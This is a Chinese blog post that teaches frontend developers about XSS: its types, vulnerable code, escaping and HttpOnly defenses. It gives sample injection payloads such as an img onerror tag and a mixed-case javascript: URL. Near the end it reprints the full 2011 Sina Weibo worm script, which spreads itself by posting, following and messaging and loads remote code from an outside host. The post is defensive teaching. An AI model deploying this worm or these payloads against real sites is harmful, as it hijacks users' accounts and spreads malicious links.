Fork me on GitHub

前端安全之XSS

XSS 漏洞是前端安全领域里最常见的安全漏洞之一,因为它的攻击方式灵活,可操作性极强,经常被hacker用来做渗透和攻击。作为一名前端工程师,非常有必要了解一下XSS的具体形式和常用的防范手段,从而在日常的开发工作中能够有意识的进行防范。

今天这篇博客,我们就来详细的介绍一下,XSS是个什么东西。

XSS(Cross Site scripting), 全称跨站脚本攻击,是在web应用中的一种计算机安全漏洞,指恶意用户将代码植入到提供给其它用户使用的页面中

首先我们需要纠正一个误区,那就是你自己在页面写了一个输入框,然后又写了个在输入框输入内容时将内容插入页面的逻辑,然后自己在输入框输入一些个<script>标签和js代码,弹出个弹窗什么的,这并不是XSS攻击,因为这是你自己的页面和浏览器,你爱干嘛干嘛。(我已经见到过好几篇博客拿这种方式来说明XSS漏洞了!!!)

要搞清楚的一个概念是,只有在你通过各种注入方式向 其它用户可以访问到的页面中 植入了恶意脚本,才叫作XSS攻击,你在只有自己能打开的页面里玩各种注入是没用,毕竟你打开控制台,想干什么干什么,还用得着通过输入框什么的获取。。。。这也是很多同学因为各种误导,容易被绕进去的一个地方。

为了不和层叠样式表缩写CSS混淆,故其缩写为XSS

XSS 分类

首先,XSS按照攻击方式和注入位置的不同,可以大概分为三类。

1.Dom-Based XSS

基于本地或DOM的客户端XSS攻击行为。
与后面两种更靠近服务端的XSS攻击不同的是,因为全部的XSS行为都是前端浏览器完成的,属于必须由前端防范的漏洞。

典型的步骤如下:

  1. A 向 B 发送含有恶意代码或脚本地址的 URL
  2. B 点击打开 URL
  3. 服务端返回正常 HTML 页面,但正常页面的逻辑中包含有使用 URL 参数的行为(比较常见于SPA中)。
  4. 前端 JavaScript 取出 URL 中的参数,未经转义将其插入页面,然后被执行。

2.Reflected XSS

基于反射的XSS攻击行为,常见于后端通过获取 URL 参数来生成 HTML 页面并返回时(如搜索)

  1. A 向 B 发送一个恶意构造的 URL(一般是将 URLquery中某字段值设置为 JS 代码或 JS 脚本地址
  2. B 点击 URL 向服务器请求页面
  3. 后端接受到请求,未经转义 就使用了URL的参数生成HTML页面返回给前端
  4. 前端浏览器渲染页面时就会运行恶意的js代码或引入恶意的js脚本。

    反射式 XSS 和 基于DOMXSS 都是主要通过URL实现,但它们的不同点在于,反射式XSS 是后端将恶意代码(例子中的URL中的参数)插入了页面,而基于DOMXSS攻击是前端将恶意代码插入了页面。

3.Stored XSS
基于存储的XSS攻击。
典型步骤如下:

  1. A 将 自己的用户名(或者类似发表文章等发布其它用户可见的内容)修改为一段恶意JS代码或一个JS脚本地址
  2. 前端未经转义就直接将用户名发送到后端
  3. 服务器接收到 A 提交的用户名未经转义就直接存储到了数据库或类似位置
  4. 前端在需要 A 用户的数据时(例如其它用户访问了 A 的个人主页,或者其它类似用户列表等等需要展示 A 信息的地方), 向后端请求页面或者数据
  5. 后端返回使用了 A 数据生成的HTML页面, 或者返回了包含 A 数据的 HTTP响应,前端未经转义直接将 A 的数据添加到了页面内容中。
  6. 前端渲染页面,运行了恶意的js代码或引入恶意的js脚本。

后端未经转义直接将用户提交的数据存入数据库,除了会导致前端被XSS攻击外,还可能导致后端的SQL注入漏洞, 这是另一个比较著名的web应用攻击方式。

应对

作为注入攻击的一种,XSS的应对之道其实也并不难想,恶意用户可能从URL链接,form提交,AJAX请求等手段将JS脚本注入到我们的HTML页面中去,那我们就需要在每个可能的注入位置都增加过滤和验证来防范这种攻击。

首先,对于用户的任何输入,不管是我们在前端直接使用,还是传递到后端,都需要采取不信任的原则,进行严格的转义和过滤。

在前端来说,对于每一个动态生成的HTML,我们在编写逻辑时都需要考虑一下,我们使用的值是否是可靠的。
先来看一个简单的例子:

HTML
1
<p id="p"></p>
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
window.onload = function () {
var p = document.querySelector('#p')
var urlParams = parseUrl(location.href)

p.innerHTML = urlParams["id"]
}

function parseUrl(url){
var result = {};
var query = url.split("?")[1];
var queryArr = query.split("&");

queryArr.forEach(function(item){
var value = item.split("=")[1];
var key = item.split("=")[0];
result[key] = value;
});

return result;
}

如果页面URL的参数内容是一段JS脚本,例如www.some.com?name=</p><img src="www.noimg.com" /onerror="prompt(1)"><!--,页面就遭受到了XSS攻击。
因此,我们首先要针对注入内容中的HTML标签进行转义,尤其是<script>,<img>,<link>,<iframe>等可跨域请求资源的标签, 需要特别注意进行过滤。
下面是一个简单的转义HTML标签中特殊符号的函数。

JavaScript
1
2
3
4
5
6
7
8
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#039;");
}

当然,道高一尺,魔高一丈,XSS的攻击注入方式绝不会这么简单(简单的过滤和转义如果完全有用的话也不会动不动就跳出个网站被攻击的新闻)。

所以也应运而生了一些特别的防御方法,我们这里介绍两个比较典型的。

第一种,就是全文扫描异常属性和事件,把整个页面过一遍,因为一般XSS攻击都会经过一些奇怪的编码和转换,在正常的生产开发中极少会用到这种形式, 因此可以通过全文过滤异常的字符和代码来检测可能的漏洞征兆。但这种方式一来实在是有些土,二来漏洞不一定防的住,页面性能倒是实实在在的低的不行,在早期的web页面中还有人用,现在我估计应该基本已经没人这么干了。

第二种方法相比第一种就高级一些了,它利用了DOM元素的捕获-目标-冒泡的事件机制,在捕获阶段对事件进行识别和监听,从而主动防御,避免XSS常见的通过內联事件触发攻击的行为。
当然,一个方法大多只能堵住一个地方,github上也有一个项目举办过多届XSS攻击挑战赛来帮助大家防范和识别各种注入,其中的注入手段真可谓千奇百怪,让人拍案叫绝。有兴趣的同学可以看一下。

除了上面例子的情况,还存在另一种情况,我们没有直接使用URL中的查询参数插入HTML, 而是作为了元素属性。

如下这个例子,我们把<p>标签换成<a>标签,获取URL中的redirect_to查询参数作为<a>标签的href属性。

HTML
1
<a id="link">click it</a>
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
window.onload = function () {
var p = document.querySelector('#link')
var url = parseUrl(location.href)

link.setAttribute('href', url['redirect_to'])
// 注意,如果我们此处写成 link.href = url['redirect_to'],
// 那我们就还需要注意上面例子提到的HTML标签的过滤了
}

function parseUrl(url){
var result = {};
var query = url.split("?")[1];
var queryArr = query.split("&");

queryArr.forEach(function(item){
var value = item.split("=")[1];
var key = item.split("=")[0];
result[key] = value;
});

return result;
}

当页面的URL被构造为www.some.com?redirect_to=javascript:propmt(1),点击<a>标签,页面再一次遭受到了XSS攻击。
这种情况,我们就不光需要对HTML进行转义了,还必须对JS进行过滤。
你可能会想,我直接检测参数是否包含javascript来判断内容是不是脚本不就行了。
但需要注意,以下这种大小写混合的形式,也会被浏览器当作JS代码执行,过滤的时候不要忘记。

1
<a href="jAvAsCrIpT:prompt(1)" />

在历史上,IE浏览器还支持过href='vbscript:msgbox "hello'这种形式的脚本调用,这种画蛇添足的无趣行为也只有IE干的出,不知害苦了当时的多少站长和论坛

在上面的例子中,这种前端获取URL跳转地址然后直接跳转的实现,从设计原则上来说并不是十分正确。理想的情况下,应该将跳转地址交给后端,然后再从后端获取,这样我们就可以在后端通过检验schema,配置白名单等,彻底将这种通过URL进行XSS攻击的路堵死。

在现代浏览器中,通常都会自动的对URL进行解析,例如我们经常在URL中看到的%20等字符,就是被编码过的空格字符,因此通过URL进行HTML标签式注入还是比较有难度的。但这并不意味着我们就可以高枕无忧了,不说上面那种javascript:prompt(1)形式的属性注入,在实际浏览器编码URL还比较混乱的情况下, 关键的地方,还是要更相信自己一点比较好,自己来加上URL编码。

JS中的encodeURI()函数和encodeURICoponent()方法,就是专门用来为URL编码的,在进行有关URL的敏感操作时,使用这两个函数,能大大降低被XSS攻击的风险。

这也大概就是前端总给人比较嘈杂琐碎感觉的原因吧,放着 RFC 3987标准不用,各浏览器非要自己去实现URL编码规则,关键还大同小异又不完全一样,再加上不同WEB服务器对各种编码形式的URL的不同处理方式,真的是令人头疼。。。

总之,不要相信自己眼睛看到的浏览器URL编码结果,很可能服务器接受到的和最终渲染出来的结果会令你出乎意外,在可以自己编码时,就尽量加上。

另外,在现代的大多数前后端框架中,都内部集成了相关的防注入措施,例如Angular的离线模板编译器,vue模板默认不解释<script>标签等,为我们防范XSS攻击提供了许多的帮助。

我们在上面介绍了基本的XSS攻击和对应的防范措施,那万一攻击者真的突破了层层防范,将恶意脚本注入了我们的页面,我们该怎么办呢?
毕竟根据墨菲定律,有概率发生的,就一定会发生。其实我们仔细考虑一下,入侵者在注入脚本之后,最大的可能就是去获取用户的Cookie然后伪造用户的请求信息进行一些非法操作。
我们需要做的也非常简单,在必要的时候,将Cookie设置为http-only, 即只允许http请求使用,不允许通过JS通过document.cookie读取即可, 当然,这就是后端的事情了。
如下所示是JAVAJAVAEE框架为cookie添加HttpOnly的代码:

Java
1
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

eg. 我并不懂java,只是拿这段代码做个示范,每个语言实现cookie的HttpOnly的方式也是不同的,需要时自己查阅文档即可。

事件

在11年,新浪微博曾遭受过一次影响和规模比较大的反射式XSS攻击,详见XSS 攻击新浪微博事件,黑客通过URL注入脚本,进而获取点击了URL的用户的操作权限,通过发送微博和向其粉丝发送私信来二次传播恶意的URL,最终导致大量用户被新浪系统视为恶意传播营销进而封禁,最过分的是这个黑客还给自己刷了30万的粉丝,也是十分的朋克了。

附上当时黑客的脚本代码,供大家观摩一下(你别说,代码风格还挺不错的,另外那几个msgs里的字符串也是相当吸睛,完全可以媲美UC小编。。。。。

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}

function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}

function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}

function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}

function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}

function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}

function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}

function main(){
try{
publish();
} catch(e){}

try{
follow();
} catch(e){}

try{
message();
}catch(e){}
}

try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
} catch(e){}

main();

var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

好啦,这篇有关XSS漏洞的博客到这里了也就结束了。关于前端安全,还有许多的东西,比如XSRF漏洞, http劫持,iframe嵌入等等,三言两语一篇博客是很难讲完啦,就留到以后再说吧。

撒花完结,多谢阅读。。。。

----本文结束感谢阅读----